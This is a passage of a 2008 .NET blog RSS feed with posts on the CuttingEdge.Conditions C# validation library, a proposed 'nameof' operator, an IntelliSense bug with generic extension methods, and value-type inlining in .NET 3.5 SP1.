class="cs" language="csharp">int? i = null;<br />// Next check will pass, because null is<br />// smaller than Int32.MinValue.<br />i.Requires().IsLessThan(Int32.MinValue);</pre><h6>A collection argument that holds a null reference is considered to contain zero elements.</h6> <p>This behavior may seem odd to users in the first place. A user of the library would possibly expect the API to throw an <span class="type">ArgumentNullException</span> when a null reference is checked. There are however some cases, where throwing an exception would not be the expected behavior and this would therefore lead to an inconsistent API. Besides that, choosing null references to always fail, would limit the usefulness of the API. A user may find that null references are valid values in some cases. i.e., the user could define a precondition as follows: &ldquo;<em>a collection should have less than five elements and may be a null reference</em>&rdquo;. He wouldn&rsquo;t be able to express this precondition using the collection methods of the API. He would be forced to use the Evaluate mechanism, which is clearly less readable and doesn&rsquo;t throw a descriptive exception message. <br /><br />The following example shows the designed behavior:</p><pre class="cs" language="csharp">IEnumerable c = null;<br />// Both HasLength and IsEmpty checks will<br />// pass, because c equals null.<br />c.Requires().HasLength(0);<br />c.Requires().IsEmpty();<br />// IsShorterThan will pass, because c is<br />// clearly shorter than 5 characters.<br />c.Requires().IsShorterThan(5);<br />// When c equals null, it doesn't contain<br />// any elements, so we'd expect<br />// the next lines to pass.<br />c.Requires().DoesNotContain(&quot;value&quot;);<br />c.Requires().DoesNotContainAny(new string[] { &quot;a&quot;, &quot;b&quot; });<br /></pre><p>When a null reference is not a valid value, a developer can use the <span class="code">IsNotNull()</span> method. This is not needed in cases where even a null reference is an invalid state. The following example shows some examples:</p><pre class="cs" language="csharp">// Use IsNotNull() to check for null.<br />c.Requires().IsNotNull().IsShorterThan(5);<br />// IsNotEmpty() will throw an ArgumentNullException<br />// when c equals null and an ArgumentException<br />// when c is empty but not null.<br />c.Requires().IsNotEmpty();</pre><h6>A checked collection is considered to hold all of the specified values when that list of values contains no elements.</h6><p>A call to ContainsAll method will always succeed when the specified list of values is empty. The following example shows this behavior:</p><pre class="cs" language="csharp" customtypes="Collection">Collection&lt;int&gt; c =<br />    new Collection&lt;int&gt; { 1, 2, 3, 4, 5 };<br />// All checks will pass.<br />c.Requires().ContainsAll(new int[] { 1, 2 });<br />c.Requires().ContainsAll(new int[] { 1 });<br />c.Requires().ContainsAll(new int[0] { });<br />c.Requires().ContainsAll(null);<br /></pre><h6>A checked collection is considered to hold not any of the specified values when that set contains no elements.</h6><p>A call to ContainsAny will always fail when the specified list of values is empty. The following example shows this behavior:</p><pre class="cs" language="csharp" customtypes="Collection">Collection&lt;int&gt; c = new Collection&lt;int&gt; { 1, 2, 3, 4, 5 };<br />// Next two checks will pass.<br />c.Requires().ContainsAny(new int[] { 1, 9 });<br />c.Requires().ContainsAny(new int[] { 1 });<br />// Next two checks will fail, because the<br />// specified lists are empty.<br />c.Requires().ContainsAny(new int[0] { });<br />c.Requires().ContainsAny(null);</pre><h6>A null string is considered to have a length of 0 characters.</h6><p>The story here is about the same as with the collections described earlier. The following example shows this behavior:</p><pre class="cs" language="csharp">string s = null;<br />// Next check passes.<br />s.Requires().HasLength(0);<br />s.Requires().IsShorterThan(5);<br />s.Requires().IsLongerThan(-1);<br />// You should use IsEmpty() or IsNotNull()<br />// if null is not a valid value.<br />s.Requires().IsEmpty();<br />s.Requires().IsNotNull().HasLength(0);</pre><h6>A null string and an empty string are not considered equal and there are various methods to check.</h6><p>The following example shows this behavior:</p><pre class="cs" language="csharp">string s = null;<br />// The following checks will fail.<br />s.Requires().IsEqualTo(String.Empty);<br />s.Requires().IsEmpty();<br />// The following checks will pass.<br />s.Requires().IsNullOrEmpty();<br />s.Requires().IsNull();</pre><h6>A null string is only contained within another string if it also is a null string. This is valid for methods like StartsWith, EndsWith and Contains.</h6><p>This simply is how the String methods of .NET work. Implementing it differently would not only be pretty difficult, but users wouldn&rsquo;t expect this behavior. The following example shows this behavior:</p><pre class="cs" language="csharp">string s = null;<br />// All checks below will fail.<br />s.Requires().Contains(String.Empty);<br />String.Empty.Requires().Contains(null);<br />String.Empty.Requires().EndsWith(null);</pre><h6>Checking a null reference to be of a certain type will always succeed. The same is valid for the reverse operation.</h6><p style="border: 2px solid red; padding: 4px; background-color: #ffeeee"><strong>Warning:</strong>  The designed behavior has changed. Contrary to what the text below describes, in the final release a call to IsOfType with a null argument will always fail, and a call to IsNotOfType with a null argument will now always succeed. The code below is counterintuitive, and the final API mimics the behavior of the C# 'is' operator.</p>Here we see the same issue as we&rsquo;ve seen before with the collections and strings. The user may decide a null reference is valid. If not, he will have to add a IsNotNull check to his code. The following example shows this behavior:<pre class="cs" language="csharp">object o = null;<br />// Both checks below will pass, because o equals null.<br />o.Requires().IsOfType(typeof(string));<br />o.Requires().IsNotOfType(typeof(object));<br />// Use IsNotNull() when null is not a valid value.<br />o.Requires().IsNotNull().IsOfType(typeof(string));<br />o.Requires().IsNotNull().IsNotOfType(typeof(object));</pre><h5>Wrapping it up<br /></h5><p>Again I want to say that this release is a beta and future releases will change, hopefully based on your feedback. In future posts I&rsquo;ll write about possible issues and give more examples of the use of the framework. Please download the library, give it a try and feedback about it!</p><p>Happy validating ;-)</p> ]]></description>
			<guid isPermaLink="false">38@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, CuttingEdge.Conditions, LINQ</category>
			<pubDate>Wed, 16 Jul 2008 16:27:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Dear C# Language Designers</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=37</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=37#comm</comments>
                        <description><![CDATA[ <p>Have you ever wondered why the C# language doesn't have a specific feature, or why it works the way it does? As a matter of fact, I did, and I mailed them over a year ago. I never got an answer though. Now I'm publishing this mail, hoping to start a good discussion.</p><p>It's already over a year ago that I sent this e-mail to '<a rel="external" href="http://msdn.microsoft.com/en-us/vcsharp/aa336810.aspx" target="_blank" title="Visual C# Developer Center - Ask a Language Designer">ask a language designer</a>'. I forgot all about it and never got an answer. And now a ask you, my dear readers, what do you think of this feature request?</p><blockquote>Dear C# Language Designers,<br />&nbsp; <br />The last several years, refactoring and data binding have become more and more popular. Refactoring enables us to change a function name throughout an enormous code base with almost a single click, while data binding allows us to bind to objects and discover properties and methods at runtime.<br />&nbsp;<br />These two features, however, don't match. In the example below, I will point out this problem, after which I&rsquo;ll describe the C# feature I&rsquo;d really like to have.<br />&nbsp;<br />In ASP.NET 2.0 we have a new control called <span class="type">ObjectDataSource</span>. This control lets us bind to a method of a certain type, by defining the <span class="code">TypeName</span> and <span class="code">SelectMethod</span>. The problem here, is that these properties are strings. The effect of which is that a type name or method name can not be found by the refactoring tool, like in the following code:<br /><pre class="cs" language="csharp" customtypes="ObjectDataSource MyClass">class MyClass<br />{<br />     public void MyMethod() { }<br />     public void MyMethod(int i, double d) { }<br />     public void MyProperty { get; set; }<br />}<br /><br />static void Main()<br />{<br />     ObjectDataSource ds = new ObjectDataSource();<br />     s.TypeName = &quot;MyAssembly.MyClass&quot;;<br />     ds.SelectMethod = &quot;MyMethod&quot;;<br />} </pre> We can rewrite the previous code snippet in such a way that the strings will disappear and the code will become actually refactorable. <br /><pre class="cs" language="csharp" customtypes="ObjectDataSource MyClass">class MyClass [...]<br /><br />delegate void MyDelegate();<br />&nbsp;<br />static void Main()<br />{<br />    ObjectDataSource ds = new ObjectDataSource();<br />    ds.TypeName = typeof(MyClass).FullName;<br />    ds.SelectMethod =<br />        (new MyDelegate((new MyClass()).MyMethod)).Method.Name;<br />}<br /></pre>Right away we can see the problem. For setting the <span class="code">TypeName</span>, the problem was easily solved by using <span class="keyword">typeof</span><span class="code">(</span><span class="type">MyClass</span><span class="code">).FullName</span>. Retrieving the name of the method is far more complex. Besides that, for every method for which we want to extract it&rsquo;s name, we must define a delegate with the same contract as the method. Even worse, retrieving property names is impossible (without reintroducing strings of course).<br />&nbsp;<br />What we need is a feature, that brings the two worlds together, so we can build more maintainable programs. A construct, much like the typeof operator, that can determine the name of a function at compile time! I can imagine the code to look like this:<br /><pre class="cs" language="csharp" customtypes="ObjectDataSource MyClass">ObjectDataSource ds = new ObjectDataSource();<br />ds.TypeName = typeof(MyClass).FullName;<br />ds.SelectMethod = nameof(MyClass.MyMethod(int, double));<br />string propertyName = nameof(MyClass.MyProperty);<br /></pre>As you can see I propose a special language syntax, that can only hold within the brackets of the <span class="keyword">nameof</span> operator. To be able to uniquely identify a method (overload), the <span class="keyword">nameof</span> operator must contain the function's argument types. Note that member and static functions are both written with the static method syntax.<br />&nbsp;<br />I&rsquo;d really like to hear your thoughts on this matter.<br />&nbsp;<br />Best regards<br />&nbsp;<br />&nbsp;<br />Steven</blockquote><p><strong><font color="#ff0000">Update 2008-12-03:</font></strong><br /><a rel="external" href="http://blogs.msdn.com/ericlippert/" title="Eric Lippert">Eric Lippert</a> posted a great comment (already over 3 months ago). I have been playing around with his code sample and extended it a bit, but forgotten all about it. Today a former colleague of mine asked about this code, so here is my version. Good luck with it:</p><pre class="cs" language="csharp" customtypes="Utilities Expression Action Func MemberExpression MethodCallExpression ConstantExpression InvalidOperationException String IEnumerable">using System;<br />using System.Collections.Generic;<br />using System.Linq;<br />using System.Linq.Expressions;<br /><br />public static class Utilities<br />{<br />    public static string NameOf(Expression&lt;Action&gt; x)<br />    {<br />        return NameOfInternal(x.Body);<br />    }<br /><br />    public static string NameOf&lt;T&gt;(Expression&lt;Func&lt;T, object&gt;&gt; x)<br />    {<br />        return NameOfInternal(x.Body);<br />    }<br /><br />    private static string NameOfInternal(Expression expression)<br />    {<br />        if (expression is UnaryExpression)<br />        {<br />            expression = ((UnaryExpression)expression).Operand;<br />        }<br /><br />        if (expression is MemberExpression)<br />        {<br />            return BuildMemberExpressionName(expression);<br />        }<br />        else if (expression is MethodCallExpression)<br />        {<br />            return ((MethodCallExpression)expression).Method.Name;<br />        }<br />        else if (expression is ConstantExpression)<br />        {<br />            var value = ((ConstantExpression)expression).Value;<br /><br />            return value != null ? value.ToString() : null;<br />        }<br />        else<br />        {<br />            throw new InvalidOperationException(string.Format(&quot;{0} is not supported.&quot;, expression.GetType()));<br />        }<br />    }<br /><br />    private static string BuildMemberExpressionName(Expression expression)<br />    {<br />        var members = new List&lt;string&gt;();<br /><br />        var memberExpression = expression as MemberExpression;<br /><br />        while (memberExpression != null)<br />        {<br />            members.Add(memberExpression.Member.Name);<br /><br />            memberExpression = memberExpression.Expression as MemberExpression;<br />        }<br /><br />        members.Reverse();<br /><br />        return string.Join(&quot;.&quot;, members.ToArray());<br />    }<br />}<br /></pre> ]]></description>
			<guid isPermaLink="false">37@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>C#</category>
			<pubDate>Sun, 13 Jul 2008 01:40:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>My Own Fluent Argument Validation Library</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=36</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=36#comm</comments>
                        <description><![CDATA[ The last couple of days I had some spare time. What does a workaholic do with spare time? Exactly: he builds his own library. :-)<p style="border: 2px solid #00cc00; padding: 4px; background-color: #eeffee"><strong>Download:</strong> The CuttingEdge.Conditions library and source code can be downloaded from <a rel="external" href="http://codeplex.com" target="_blank" title="CodePlex - Open Source Project Community">CodePlex.com</a>. Visit the homepage at <a rel="external" href="http://conditions.codeplex.com" target="_blank" title="Codeplex / CuttingEdge.Conditions">conditions.codeplex.com</a> or go directly to the <a rel="external" href="http://www.codeplex.com/conditions/Release/ProjectReleases.aspx" target="_blank" title="Codeplex / CuttingEdge.Conditions - Releases">releases</a> tab.</p><p style="border: 2px solid red; padding: 4px; background-color: #ffeeee"><strong>Warning:</strong> This post is based on a pre-release of CuttingEdge.Conditions. While most of the concepts and behavior of the library is the same, the final release has some changes, of which most noticeably is the <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=57" title=".NET Junkie - Controversial change in CuttingEdge.Conditions">removal of the extension method behavior</a> of the <span class="code">Requires()</span> and <span class="code">Ensures()</span> methods. Please note that the following syntax isn&rsquo;t supported anymore: <span class="code">c.Requires().IsNotNull()</span>. Instead the proposed syntax is <span class="type">Condition</span><span class="code">.Requires(c).IsNotNull()</span>. Please keep that in mind while reading this article.</p> <p>Recently, I got very inspired by <a rel="external" href="http://weblogs.asp.net/fredriknormen" target="_blank" title="Fredrik Norm&eacute;n's blog">Fedrik Norm&eacute;n&rsquo;s</a> and <a rel="external" href="http://rogeralsing.com/" target="_blank" title="Roger Alsing Weblog">Roger Alsing&rsquo;s</a> blog. They discussed a fluent way of writing the validation of method preconditions. It started all <a rel="external" href="http://weblogs.asp.net/fredriknormen/archive/2008/05/08/how-to-validate-a-method-s-arguments.aspx" target="_blank" title="Fredrik Norm&eacute;n's blog -  How to validate a method's arguments?">here</a> and Roger came up with a specification <a rel="external" href="http://rogeralsing.com/2008/05/10/followup-how-to-validate-a-methods-arguments/" target="_blank" title="Roger Alsing Weblog - Followup: How to validate a method&rsquo;s arguments?">here</a>. A couple of weeks later Roger even came up with <a rel="external" href="http://rogeralsing.com/2008/05/28/argument-validation-framework-released/" target="_blank" title="Roger Alsing Weblog - Argument validation framework released">his own little framework</a> containing a couple of things, one of them being his Fluent Argument Validation Specification.<br /><br />By now it should be clear that the thing I&rsquo;m currently building isn&rsquo;t exactly my own idea. Roger and Fedrik deserve a lot of credit here.</p><h5><a name="Why_Am_I_Building_My_Own" title="Why_Am_I_Building_My_Own"></a>Why Am I Building My Own?</h5><p>Like I said, I was very inspired by Roger&rsquo;s idea. I even downloaded and browsed through his code. However, I saw a couple of things I didn&rsquo;t like. The main thing being the use of a class for the main type (Roger&rsquo;s <span class="code">Validation</span> class) instead of a struct. My main argument for using structs is performance. Using structs has one advantage over classes: They don&rsquo;t allocate memory on the heap. I already <a rel="external" href="http://rogeralsing.com/2008/05/10/followup-how-to-validate-a-methods-arguments/#comment-164" target="_blank" title="Roger Alsing Weblog - Followup: How to validate a method&rsquo;s arguments? - Steven's Comment">commented</a> about this on Roger&rsquo;s blog, but I also observed that using structs instead of classes was still slower, despite the memory advantage. But still, I found the idea of no extra memory allocations more pleasing, also believing that the performance penalty of using structs would <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=34" target="_blank" title=".NET Junkie's Weblog - Inlining of value types">very soon</a> vanish.<br /><br />Now, a couple of days, 1900 lines of code, 1700 lines of comments, 37 different validations over 70 different method overloads, and almost 450 unit tests later, I have to admit that the actual reason to start my own library, isn&rsquo;t valid anymore. So, I too am using classes now, but more on this later.</p><h5><a name="The_Requirements" title="The_Requirements"></a>The Requirements</h5><p>Before I actually wrote all this, I tried to figure out what I actually wanted to build and especially to what requirements? So I grabbed a pen and a piece of paper and started writing down some requirements. This is what I came up with:</p><ol><li>The API must differentiate between pre- and postcondition checks.</li><li>The API must be as intuitive and easy to use as possible.</li><li>The API must use the same terminology as Spec# does.</li><li>The API should not throw unexpected exceptions.</li><li>The API must be extendable.</li><li>The library must have good performance.</li><li>The library must be standalone.</li><li>Each method should have correct (xml) documentation.</li><li>Each method should have supporting unit tests.</li></ol><p>I&rsquo;ll try to explain why I think these requirements are important and try to describe how I think of achieving them.</p><h6><a name="The_API_must_differentiate_between_pre-_and_postcondition_checks" title="The_API_must_differentiate_between_pre-_and_postcondition_checks"></a>1. The API must differentiate between pre- and postcondition checks</h6><p>I think this makes sense. Violation of a precondition is always caused by the method&rsquo;s caller and an <span class="type">ArgumentException</span> should always be thrown in that circumstance (The <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=31" target="_blank" title=".NET Junkie's blog - Book: Framework Design Guidelines: Conventions, Idioms, and Patterns for Reusable .NET Libraries">Framework Design Guidelines</a> are very clear about this). The violation of a postcondition however, has purely an internal cause. It can be considered a bug. Throwing an <span class="type">ArgumentException</span> in that case would clearly confuse the user.<br /><br />Because of this difference, I wanted the user to be able to explicitly state whether he is doing a precondition check or a postcondition check. All precondition checks should throw a <span class="type">ArgumentException</span> or one of it&rsquo;s descendants. For a postcondition exception there is actually not a suitable exception in the .NET framework. So I defined my own and named it the obvious: <span class="type">PostconditionException</span>.</p><h6><a name="The_API_must_be_as_intuitive_and_easy_to_use_as_possible" title="The_API_must_be_as_intuitive_and_easy_to_use_as_possible"></a>2. The API must be as intuitive and easy to use as possible</h6><p>To make the API as easy and intuitive as possible, I defined the following characteristics, that should hold:</p><ul><li><strong>The library should use extension methods to allow fluent code.</strong><br />This is of course pretty obvious. When you look at Roger&rsquo;s specification, you&rsquo;ll understand that this is the easiest way to have code that reads much more naturally.</li><li><strong>The API must have as few entry point methods as possible that enable the user to validate.</strong><br />When we do not require this and allow the validation methods to show up on every single type of object, we will be faced with two problems. Firstly, all validation methods will always show up as instance methods on every type in the IntelliSense list, even if the user doesn&rsquo;t want to validate. Secondly a lot of methods will show up that can&rsquo;t be used for validation, while the user actually wants to validate something. I believe that this would be so annoying, that it would eventually prevent programmers from using such a library.</li><li><strong>IntelliSense should only show methods the user can actually use, within a given context.</strong><br />To make the API easy to use, we shouldn&rsquo;t bother the user by showing methods which actually can&rsquo;t be used on the type the user is validating and would throw an exception at runtime. To achieve this, most methods should be written as extension methods. <a rel="external" href="http://blogs.msdn.com/ericlippert/archive/2008/06/17/method-type-inference-changes-part-one.aspx" target="_blank" title="Eric Lippert's Blog - Method Type Inference Changes, Part One">Type inference</a> within the C# IDE will then help us to do the required filtering. Still we&rsquo;ll have to think carefully about which <a rel="external" href="http://msdn.microsoft.com/en-us/library/d5x73970(VS.80).aspx" target="_blank" title="MSDN C# Programming Guide - Constraints on Type Parameters">generic type constraints</a> we want to define on our methods. These type constraints will also help doing the filtering.</li><li><strong>The API should be constructed in such a way that the actual user code becomes as readable as possible.</strong><br />Extension methods and entry point methods already help here. But I&rsquo;m also thinking about naming the methods in such a way that they become specification like, readable and fluent, e.g., We should rather name a method <span class="code">IsNull()</span> instead of <span class="code">Null()</span>.</li><li><strong>Prevent the user from having to program more complex statements.</strong><br />It is perhaps difficult to determine what a &lsquo;complex&rsquo; statement for a developer is. The code analysis tool <a rel="external" href="http://www.microsoft.com/downloads/details.aspx?familyid=3389F7E4-0E55-4A4D-BC74-4AEABB17997B&amp;displaylang=en" target="_blank" title="Microsoft FxCop 1.36 Beta 2 download">FxCop</a> could actually help here. For instance, it defines a <a rel="external" href="http://msdn.microsoft.com/en-us/ms182150.aspx" target="_blank" title="FxCop rules - Generic methods should provide type parameter">rule</a> that states that generic methods should rather provide a type parameter, than a generic type. Therefore we should prefer the method <span class="code">IsTypeOf(</span><span class="type">Type</span><span class="code">)</span> over <span class="code">IsOfType&lt;T&gt;()</span>.</li><li><strong>Allow the user to access every check in a single step.</strong><br />We should prefer not to group certain checks and make every check directly accessible. So we don&rsquo;t want the user to write this:<br /><pre class="cs" language="csharp" customtypes="PutYourCustomTypesHere">col.Precondition().Collections().Contains(x);</pre>Rather, I&rsquo;d like to see this:<br /><pre class="cs" language="csharp" customtypes="PutYourCustomTypesHere">col.Precondition().Contains(x);</pre></li><li><strong>Allow users to just call the entry point method once for every argument.</strong><br />The user should be able to chain the validation methods like this:<br /><pre class="cs" language="csharp" customtypes="PutYourCustomTypesHere">c.Precondition().IsNotNull().IsOfType(typeof(X));</pre>rather then forcing the user to do this:<br /><pre class="cs" language="csharp" customtypes="PutYourCustomTypesHere">c.Precondition().IsNotNull();<br />c.Precondition().IsOfType(typeof(X));<br /></pre>Again, this is not something new. This is exactly what Roger is doing in his specification.</li><li><strong>Prevent implicit conversions.</strong><br />The consequence of using entry point methods is that they must return a type that wraps the validated value. The validation extension methods can then be hooked to this type. It could be tempting to allow implicit casting from the wrapper to the original type. It allows you to do a postcondition check and a <span class="keyword">return</span> statement in a single line of code. This all seems okay, but it saves just a single line of code, while making it less readable. Besides that, this doesn't always work as espected. Therefore it would be bad to include such a feature. </li></ul><h6><a name="The_API_must_use_the_same_terminology_as_SpecSharp_does" title="The_API_must_use_the_same_terminology_as_SpecSharp_does"></a>3. The API must use the same terminology as Spec# does</h6><p>I believe <a rel="external" href="http://research.microsoft.com/SpecSharp/" target="_blank" title="Microsoft Research - Spec# Overview">Spec#</a>, or rather the lack of Spec#, is probably the whole reason Roger and I are building these validation frameworks. Spec# is a language that provides method contracts in the form of pre- and postconditions. Spec# is currently a research project and it will probably not be released in the near future. We also shouldn&rsquo;t expect any validation support like that of Spec# within our mainstream C# language.<br /><br />Because of my interest for Spec#, I&rsquo;d like to use the same terminology as Spec# uses. Spec# uses the <span class="keyword">requires</span> keyword to define preconditions and the <span class="keyword">ensures</span> keyword to define postconditions. With my library I will stay true to these keywords, and therefore:</p><ol><li>precondition checks can be performed using the <strong><span class="code">.Requires()</span></strong> extension method;</li><li>postcondition checks are performed using the <strong><span class="code">.Ensures()</span></strong> extension method.</li></ol><p>In respect to all requirements explained so far, a simple use case could look like this:</p><pre class="cs" language="csharp" customtypes="PutYourCustomTypesHere">value.Requires().IsInRange(1, 1000);<br />a.Requires(&quot;a&quot;).IsGreaterThan(0);<br />collection.Ensures(&quot;collection&quot;).IsEmpty();</pre><h6><a name="The_API_should_not_throw_unexpected_exceptions" title="The_API_should_not_throw_unexpected_exceptions"></a>4. The API should not throw unexpected exceptions</h6><p>The user expects a precondition check to fail with an <span class="type">ArgumentException</span> or simply to succeed, even if the checked value is null. The user doesn&rsquo;t expect the library to throw a <span class="type">NullReferenceException</span>, on the contrary; the user uses the library to prevent <span class="type">NullReferenceException</span>s from being thrown. Therefore the library must always check for null and act appropriate.</p><h6><a name="The_API_must_be_extendable" title="The_API_must_be_extendable"></a>5. The API must be extendable</h6><p>Users must be able to extend the library by writing code in their own project, without altering or recompiling the validation library itself. Extension methods make this easy.</p><h6><a name="The_library_must_have_good_performance" title="The_library_must_have_good_performance"></a>6. The library must have good performance</h6><p>In my opinion, performance isn&rsquo;t as important as correctness, but philosophizing about performance (even if it&rsquo;s just theoretical) is really fun. Besides that, I also want to make sure users of my library don&rsquo;t have to worry about performance. That&rsquo;s why I will try to keep performance as good as possible. To give an example, I tried to implement the extension methods in such a way that most of them could be inlined by the JIT compiler. This is the reason I currently chose to use classes instead of structs, as I mentioned at the beginning of my article. After the release of <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=34" target="_blank" title=".NET Junkie's blog - Inlining of value types">the coming .NET 3.5 SP1</a> I will reinvestigate if the use of structs would improve performance. For now, I&rsquo;ll stick to classes.</p><h6><a name="The_library_must_be_standalone" title="The_library_must_be_standalone"></a>7. The library must be standalone<br /></h6><p>The library must be an small package, not depending on other libraries or assemblies (besides of course the usual .NET assemblies). It would be annoying for developers having to add a large amount of assemblies, when the only thing they want to do is use the validation library. </p><h6><a name="Each_method_should_have_correct_(xml)_documentation" title="Each_method_should_have_correct_(xml)_documentation"></a>8. Each method should have correct (xml) documentation</h6><p>No matter how good the library is, we still need some documentation ;-).</p><h6><a name="Each_method_should_have_supporting_unit_tests" title="Each_method_should_have_supporting_unit_tests"></a>9. Each method should have supporting unit tests</h6><p>We don&rsquo;t want to release something, before we&rsquo;re pretty sure it works as designed.</p><h5>Wrapping it up</h5><p>Hopefully, I&rsquo;ll soon be able to publish my library. Once again I have to credit Roger Alsing for his influence. This work is all based on his idea. Currently I&rsquo;m still working on some minor things. I&rsquo;ll keep you posted on the progress.</p> ]]></description>
			<guid isPermaLink="false">36@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, CuttingEdge.Conditions, LINQ, Visual Studio</category>
			<pubDate>Wed, 09 Jul 2008 15:51:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Visual studio bug: Generic extension method doesn't show up in IntelliSense</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=35</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=35#comm</comments>
                        <description><![CDATA[ I just reported a bug on the Microsoft Connect site about a quirk in the C# IntelliSense feature regarding generic extension methods.<p>The problem is actually as follows. Let's define a rather awkward generic extension method:</p><pre class="cs" language="csharp" customtypes="IEnumerable">static class IntelliSenseBug_MethodDoesntShowUp<br />{<br />    public static void Method&lt;TCollection, TElement&gt;(<br />        this TCollection collection, TElement element)<br />        where TCollection : IEnumerable&lt;TElement&gt;<br />    {<br />    }<br />}</pre><p>The defined extension method has a generic type constrain that states that the TCollection should be a generic IEnumerable interface that contains elements of type TElement. We can use this extension method with like so:</p><pre class="cs" language="csharp" customtypes="Collection">static void Test()<br />{<br />    Collection&lt;int&gt; c = new Collection&lt;int&gt;();<br />    c.Method(1);<br />}</pre><p>This all compiles fine, but when typing Test() method's code, you'll notice that after typing <em>c + dot</em> the list of possible operations does not contain our defined 'Method'. The C# compiler is smart enough by using <a rel="external" href="http://blogs.msdn.com/ericlippert/archive/2008/06/17/method-type-inference-changes-part-one.aspx" title="Eric Lippert's Blog - Method Type Inference Changes, Part One">type inference</a> that the passed element is in fact an Int32 and that therefore TElement must be of type Int32 and therefore TCollection must be of type IEnumerable&lt;Int32&gt;. At last the compiler finds out that Collection&lt;int&gt; implements IEnumerable&lt;int&gt; and so it all fits together nicely. Unfortunately <a rel="external" href="http://en.wikipedia.org/wiki/IntelliSense" title="Wikipedia - IntelliSense">IntelliSense</a> isn't as smart as the C# compiler. That's a bummer. </p><p>B.t.w. You can read my bug report <a rel="external" href="https://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=352342" title="Microsoft Connect - Bug report - Generic extension method doesn't show up in IntelliSense">here</a>.</p><p><font color="#ff0000">Update 2008-09-09:</font><br />This bug has been fixed in Visual Studio 2008 SP1!</p> ]]></description>
			<guid isPermaLink="false">35@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, LINQ, Visual Studio</category>
			<pubDate>Sat, 21 Jun 2008 23:56:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Inlining of value types</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=34</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=34#comm</comments>
                        <description><![CDATA[ Great news is coming from the .NET Runtime Team. The new coming service pack for the .NET framework addresses inlining of value types.<p>Last couple of days I've been commenting on Fredrik Norm&eacute;n's blog (<a rel="external" href="http://weblogs.asp.net/fredriknormen/archive/2008/05/08/how-to-validate-a-method-s-arguments.aspx#6168929" target="_blank" title="Fredrik Norm&eacute;n's Weblog -  Use &quot;constraints&quot; instead of argument validation for int and double etc - Steven's comment">here</a> and <a rel="external" href="http://weblogs.asp.net/fredriknormen/archive/2008/05/08/how-to-validate-a-method-s-arguments.aspx#6168929" target="_blank" title="Fredrik Norm&eacute;n's Weblog -  How to validate a method's arguments? - Steven's comment">here</a>) and Roger Alsing's blog (<a rel="external" href="http://rogeralsing.com/2008/05/10/followup-how-to-validate-a-methods-arguments/#comment-164" target="_blank" title="Roger Alsing Weblog - Followup: How to validate a method&rsquo;s arguments? - Steven's comment">here</a>) about some possible performance improvements of their code samples. I've discussed the use of value types (structs) instead of reference types (classes), but when testing my proposed improvements, the use of value types didn't give me the performance improvement I was hoping for. In fact I encountered a performance drop! This was probably caused by the CLR's lack of inlining of value types.</p><p>I just read some great news about the coming Service Pack of the .NET framework on <a rel="external" href="http://blogs.msdn.com/vancem/archive/2008/05/12/what-s-coming-in-net-runtime-performance-in-version-v3-5-sp1.aspx" target="_blank" title="Vance Morrison's Weblog - What's Coming in .NET Runtime Performance in Version V3.5 SP1">Vance Morrison's Weblog</a>. The coming release will address these performance issues. Vance Morrison is a performance architect on the .NET Runtime Team and in this article he describes the following about the inlining of value types:</p><blockquote>C# structs are what the .NET runtime calls value types. They are called this because when you have fields or arrays of such data structures, the value is embedded directly in the field (not referenced through a pointer). All the primitive types (int, char, bool) are value types, as well as a few types defined in the base class library like DateTime, Decimal, Point and Rectangle. The previous version of the code generator (for X86) did almost no optimization on value types. This was unfortunate, because although value types are not common (most types are classes, not structs), when they are used, they can be used heavily, and so optimization is important. In fact the biggest single piece of feedback we got on our feedback site related to performance was concerning more aggressive inlining of value type methods. The runtime&rsquo;s 64 bit code generators could already optimize value types, but the code generator for X86 could not. Since X86 is still the dominate platform there was an unmet need. In this servicing we included the work we did to enable this for X86. Your own code often may not benefit from this improvement (because it does not use value classes much), but if you do use them, you tend to use them heavily, and the value could be substantial. <a rel="external" href="http://blogs.msdn.com/vancem/archive/2008/05/12/what-s-coming-in-net-runtime-performance-in-version-v3-5-sp1.aspx" target="_blank" title="Vance Morrison's Weblog - What's Coming in .NET Runtime Performance in Version V3.5 SP1">-&gt;</a></blockquote><p>A beta of the new Service Pack 1 <a rel="external" href="http://weblogs.asp.net/scottgu/archive/2008/05/12/visual-studio-2008-and-net-framework-3-5-service-pack-1-beta.aspx" target="_blank" title="ScottGu's Blog - Visual Studio 2008 and .NET Framework 3.5 Service Pack 1 Beta">shipped</a> two days ago and Microsoft planned to ship the final release of .NET 3.5 SP1 this summer. I think this is great news and I&rsquo;m very exited about it!</p> ]]></description>
			<guid isPermaLink="false">34@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General</category>
			<pubDate>Wed, 14 May 2008 16:05:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Spec#, Love you long time!</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=33</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=33#comm</comments>
